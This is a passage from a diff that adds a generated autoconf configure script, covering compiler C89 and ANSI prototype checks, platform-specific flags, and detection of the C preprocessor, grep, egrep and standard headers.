+_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ + -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_c89=$ac_arg +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC + +fi +# AC_CACHE_VAL +case "x$ac_cv_prog_cc_c89" in + x) + { echo "$as_me:$LINENO: result: none needed" >&5 +echo "${ECHO_T}none needed" >&6; } ;; + xno) + { echo "$as_me:$LINENO: result: unsupported" >&5 +echo "${ECHO_T}unsupported" >&6; } ;; + *) + CC="$CC $ac_cv_prog_cc_c89" + { echo "$as_me:$LINENO: result: $ac_cv_prog_cc_c89" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_c89" >&6; } ;; +esac + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + if test "$GCC" != yes ; then + { echo "$as_me:$LINENO: checking that $CC handles ansi prototypes" >&5 +echo $ECHO_N "checking that $CC handles ansi prototypes... $ECHO_C" >&6; } + if test "${ac_cv_lbl_cc_ansi_prototypes+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +int frob(int, char *) + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_lbl_cc_ansi_prototypes=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_cc_ansi_prototypes=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_cc_ansi_prototypes" >&5 +echo "${ECHO_T}$ac_cv_lbl_cc_ansi_prototypes" >&6; } + if test $ac_cv_lbl_cc_ansi_prototypes = no ; then + case "$target_os" in + + hpux*) + { echo "$as_me:$LINENO: checking for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)" >&5 +echo $ECHO_N "checking for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)... $ECHO_C" >&6; } + savedcflags="$CFLAGS" + CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS" + if test "${ac_cv_lbl_cc_hpux_cc_aa+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +int frob(int, char *) + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_lbl_cc_hpux_cc_aa=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_cc_hpux_cc_aa=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_cc_hpux_cc_aa" >&5 +echo "${ECHO_T}$ac_cv_lbl_cc_hpux_cc_aa" >&6; } + if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then + { { echo "$as_me:$LINENO: error: see the INSTALL doc for more info" >&5 +echo "$as_me: error: see the INSTALL doc for more info" >&2;} + { (exit 1); exit 1; }; } + fi + CFLAGS="$savedcflags" + V_CCOPT="-Aa $V_CCOPT" + +cat >>confdefs.h <<\_ACEOF +#define _HPUX_SOURCE +_ACEOF + + ;; + + *) + { { echo "$as_me:$LINENO: error: see the INSTALL doc for more info" >&5 +echo "$as_me: error: see the INSTALL doc for more info" >&2;} + { (exit 1); exit 1; }; } + ;; + esac + fi + V_INCLS="$V_INCLS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + + case "$target_os" in + + irix*) + V_CCOPT="$V_CCOPT -xansi -signed -g3" + ;; + + osf*) + V_CCOPT="$V_CCOPT -std1 -g3" + ;; + + ultrix*) + { echo "$as_me:$LINENO: checking that Ultrix $CC hacks const in prototypes" >&5 +echo $ECHO_N "checking that Ultrix $CC hacks const in prototypes... $ECHO_C" >&6; } + if test "${ac_cv_lbl_cc_const_proto+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +struct a { int b; }; + void c(const struct a *) + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_lbl_cc_const_proto=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_cc_const_proto=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_cc_const_proto" >&5 +echo "${ECHO_T}$ac_cv_lbl_cc_const_proto" >&6; } + if test $ac_cv_lbl_cc_const_proto = no ; then + +cat >>confdefs.h <<\_ACEOF +#define const +_ACEOF + + fi + ;; + esac + fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +{ echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 +echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6; } +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then + if test "${ac_cv_prog_CPP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Double quotes because CPP needs to be expanded + for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" + do + ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + break +fi + + done + ac_cv_prog_CPP=$CPP + +fi + CPP=$ac_cv_prog_CPP +else + ac_cv_prog_CPP=$CPP +fi +{ echo "$as_me:$LINENO: result: $CPP" >&5 +echo "${ECHO_T}$CPP" >&6; } +ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer to if __STDC__ is defined, since + # exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include +#else +# include +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + : +else + { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&5 +echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +{ echo "$as_me:$LINENO: checking for grep that handles long lines and -e" >&5 +echo $ECHO_N "checking for grep that handles long lines and -e... $ECHO_C" >&6; } +if test "${ac_cv_path_GREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Extract the first word of "grep ggrep" to use in msg output +if test -z "$GREP"; then +set dummy grep ggrep; ac_prog_name=$2 +if test "${ac_cv_path_GREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_path_GREP_found=false +# Loop through the user's path and test for each of PROGNAME-LIST +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in grep ggrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" + { test -f "$ac_path_GREP" && $as_test_x "$ac_path_GREP"; } || continue + # Check for GNU ac_path_GREP and select it if it is found. + # Check for GNU $ac_path_GREP +case `"$ac_path_GREP" --version 2>&1` in +*GNU*) + ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; +*) + ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + echo 'GREP' >> "conftest.nl" + "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + ac_count=`expr $ac_count + 1` + if test $ac_count -gt ${ac_path_GREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_GREP="$ac_path_GREP" + ac_path_GREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + + $ac_path_GREP_found && break 3 + done +done + +done +IFS=$as_save_IFS + + +fi + +GREP="$ac_cv_path_GREP" +if test -z "$GREP"; then + { { echo "$as_me:$LINENO: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&5 +echo "$as_me: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&2;} + { (exit 1); exit 1; }; } +fi + +else + ac_cv_path_GREP=$GREP +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_path_GREP" >&5 +echo "${ECHO_T}$ac_cv_path_GREP" >&6; } + GREP="$ac_cv_path_GREP" + + +{ echo "$as_me:$LINENO: checking for egrep" >&5 +echo $ECHO_N "checking for egrep... $ECHO_C" >&6; } +if test "${ac_cv_path_EGREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 + then ac_cv_path_EGREP="$GREP -E" + else + # Extract the first word of "egrep" to use in msg output +if test -z "$EGREP"; then +set dummy egrep; ac_prog_name=$2 +if test "${ac_cv_path_EGREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_path_EGREP_found=false +# Loop through the user's path and test for each of PROGNAME-LIST +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in egrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" + { test -f "$ac_path_EGREP" && $as_test_x "$ac_path_EGREP"; } || continue + # Check for GNU ac_path_EGREP and select it if it is found. + # Check for GNU $ac_path_EGREP +case `"$ac_path_EGREP" --version 2>&1` in +*GNU*) + ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; +*) + ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + echo 'EGREP' >> "conftest.nl" + "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + ac_count=`expr $ac_count + 1` + if test $ac_count -gt ${ac_path_EGREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_EGREP="$ac_path_EGREP" + ac_path_EGREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + + $ac_path_EGREP_found && break 3 + done +done + +done +IFS=$as_save_IFS + + +fi + +EGREP="$ac_cv_path_EGREP" +if test -z "$EGREP"; then + { { echo "$as_me:$LINENO: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&5 +echo "$as_me: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&2;} + { (exit 1); exit 1; }; } +fi + +else + ac_cv_path_EGREP=$EGREP +fi + + + fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_path_EGREP" >&5 +echo "${ECHO_T}$ac_cv_path_EGREP" >&6; } + EGREP="$ac_cv_path_EGREP" + + +{ echo "$as_me:$LINENO: checking for ANSI C header files" >&5 +echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6; } +if test "${ac_cv_header_stdc+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_header_stdc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_header_stdc=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +if test $ac_cv_header_stdc = yes; then + # SunOS 4.x string.h does not declare mem*, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "memchr" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "free" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. + if test "$cross_compiling" = yes; then + : +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#if ((' ' & 0x0FF) == 0x020) +# define ISLOWER(c) ('a' <= (c) && (c) <= 'z') +# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) +#else +# define ISLOWER(c) \ + (('a' <= (c) && (c) <= 'i') \ + || ('j' <= (c) && (c) <= 'r') \ + || ('s' <= (c) && (c) <= 'z')) +# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) +#endif + +#define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) +int +main () +{ + int i; + for (i = 0; i < 256; i++) + if (XOR (islower (i), ISLOWER (i)) + || toupper (i) != TOUPPER (i)) + return 2; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_header_stdc=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 +echo "${ECHO_T}$ac_cv_header_stdc" >&6; } +if test $ac_cv_header_stdc = yes; then + +cat >>confdefs.h <<\_ACEOF +#define STDC_HEADERS 1 +_ACEOF + +fi + +# On IRIX 5.3, sys/types and inttypes.h are conflicting. + + + + + + + + + +for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ + inttypes.h stdint.h unistd.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default + +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + eval "$as_ac_Header=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_Header=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + + +for ac_header in fcntl.h memory.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + { echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +else + # Is the header compilable? +{ echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_compiler=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6; } + +# Is the header present? +{ echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6; } +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z 